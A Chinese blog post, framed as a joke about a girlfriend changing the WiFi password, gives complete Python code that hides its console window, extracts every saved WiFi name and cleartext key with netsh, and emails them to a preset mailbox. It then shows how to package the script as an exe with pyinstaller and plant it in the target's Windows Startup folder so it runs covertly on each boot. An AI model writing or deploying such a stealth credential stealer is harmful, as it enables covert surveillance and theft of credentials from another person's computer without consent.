和女朋友吵架了,她一气之下把WIFI密码改了。虽说现在手机流量已是白菜价,只看看新闻,玩玩手机游戏还行,但若是下载几个G的软件或看部电影,那再多的流量也不够你用。今天就教大家一个一劳永逸的办法,不需要暴力破解,在WIFI密码被改的情况下分分钟重新连上家里的无线网。
第一步,用Python编写密码发送程序
先上代码:
------
#coding:utf-8
import os
import re
import smtplib
from email.mime.text import MIMEText
from email.header import Header
import win32api, win32gui
#程序运行的瞬间cmd窗口一闪即关,增强隐蔽性
ct = win32api.GetConsoleTitle()
hd = win32gui.FindWindow(0,ct)
win32gui.ShowWindow(hd,0)
#读取本机WIFI信息
a=os.popen('netsh wlan show profiles')
b=a.read()
c=re.findall('所有用户配置文件 : (.*?)\n',b,re.S)
s=""
for i in c:
a=os.popen('netsh wlan show profiles '+i+' key=clear')
b=a.read()
c=re.findall('关键内容 : (.*?)\n\n费用设置',b,re.S)
for ii in c:
s=s+"WIFI名称:"+str(i)+" "+"WIFI密码:"+str(ii)+'\n'
#将wifi信息发送到指定邮箱
message = MIMEText(s, 'plain', 'utf-8')
mailname="xxx" #发送和接收的邮箱地址,这里设为同一个
message['Subject'] = Header("WIFI账号信息", 'utf-8')
try:
smtpObj = smtplib.SMTP()
smtpObj.connect("smtp.xxx.com", 25) #smtp服务器地址
smtpObj.login("xxx","xxx") #邮箱发送方的账号和密码
smtpObj.sendmail(mailname, mailname, message.as_string())
print("邮件发送成功")
exit(0)
except smtplib.SMTPException:
print(" 邮件发送失败")
exit(1)
------
代码就不分析了,只说个大概的思路。先读取本机的WIFI账号和密码,然后将读取到的信息发送到指定邮箱。
收到的邮件内容示例:
WIFI名称:xiaoli WIFI密码:xxxxxxWIFI名称:jack WIFI密码:xxxxxx……
第二步,将编写完的Python程序打包成exe可执行文件
1.安装pyinstaller包
2.打开命令控制台,定位到Python程序所在的目录
3.输入: pyinstaller -F Python文件名,开始打包
4.打包完成后,在刚才的目录下找到dist文件夹,把里面的exe文件拷出来
第三步,打开女朋友电脑,将exe文件拷到Windows启动目录(Win10启动目录一般是C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp),结束。
以后每次女朋友启动电脑你就可以在邮箱收到最新的WiFI密码啦。
学会了吗?不过,首先你得有个女朋友,其次,这招只是个下策,赶紧和女朋友和好吧。
------
注:运行exe文件的操作系统必须是win10,若是win7可能读不到WIFI密码。
------
本文为“爱锋程序猿”原创,转载请写明出处。